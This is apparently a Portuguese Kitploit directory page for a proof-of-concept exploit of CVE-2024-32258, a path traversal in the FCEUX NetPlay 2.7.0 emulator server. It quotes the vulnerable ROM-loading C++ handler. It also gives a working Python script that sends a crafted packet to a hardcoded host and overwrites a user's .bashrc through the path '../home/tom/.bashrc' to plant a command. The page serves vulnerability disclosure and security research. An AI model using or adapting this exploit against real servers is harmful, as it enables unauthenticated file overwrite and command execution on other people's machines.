Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-32258 — Prova de conceito de exploit para CVE-2024-32258, uma vulnerabilidade de path traversal no FCEUX NetPlay 2.7.0 que permite sobrescrita remota arbitrária de arquivos sem autenticação por meio de solicitações de ROM manipuladas. | Kitploit
Ferramentas/GitHubGitHub/secnotes/cve-2024-32258
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

Prova de conceito de exploit para CVE-2024-32258, uma vulnerabilidade de path traversal no FCEUX NetPlay 2.7.0 que permite sobrescrita remota arbitrária de arquivos sem autenticação por meio de solicitações de ROM manipuladas.

Ver Repositório
31há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Visão Geral

  • CVE ID: CVE-2024-32258
  • Tipo: Path Traversal
  • Fornecedor: FCEUX
  • Produtos: FCEUX_NetPlay
  • Versão: 2.7.0
  • Correção: 48b48e7c13be1b949074f42660a33c7ef57135e1

Descrição

FCEUX é um emulador de NES que pode nos levar de volta à nossa infância. Ele oferece vários recursos interessantes, como dois jogadores poderem jogar online.

O servidor e o cliente podem passar ROMs um ao outro, mas o servidor não filtra caracteres especiais nos nomes de ROM enviados pelo cliente. Essa vulnerabilidade de path traversal pode fazer com que qualquer arquivo no servidor seja sobrescrito. Ainda mais grave é que o carregamento remoto de ROMs não exige autenticação, mesmo que as configurações do servidor exijam senha para fazer login.

Foi introduzida durante o commit 798c5a1d9c73b899cdbe3d613c0022588281979f - Para o NetPlay, foi adicionada a capacidade de o cliente solicitar uma ROM para carregar.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

Tanto msf->fileName quanto fp são especificados pelo atacante.

PoC

Você pode obter o fceux por meio da compilação do código-fonte, ou pode usar diretamente o nosso binário compilado. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

Divirta-se! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

Severidade

Alta 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS3.1PontuaçãoDetalhe
VETOR DE ATAQUERedelançar ataque pela rede
COMPLEXIDADE DO ATAQUEBaixabasta enviar duas mensagens
PRIVILÉGIOS NECESSÁRIOSNenhumnenhuma permissão é necessária para enviar o pacote de ataque
INTERAÇÃO DO USUÁRIONecessáriaclicar no botão de confirmação para carregar a ROM.
ESCOPOInalteradon/a
CONFIDENCIALIDADEAltasobrescrita arbitrária de arquivos
INTEGRIDADEAltasobrescrita arbitrária de arquivos
DISPONIBILIDADEAltasobrescrita arbitrária de arquivos

Autor

Yansong Li e Yijie Xun (Northwestern Polytechnical University)

Baixar ferramenta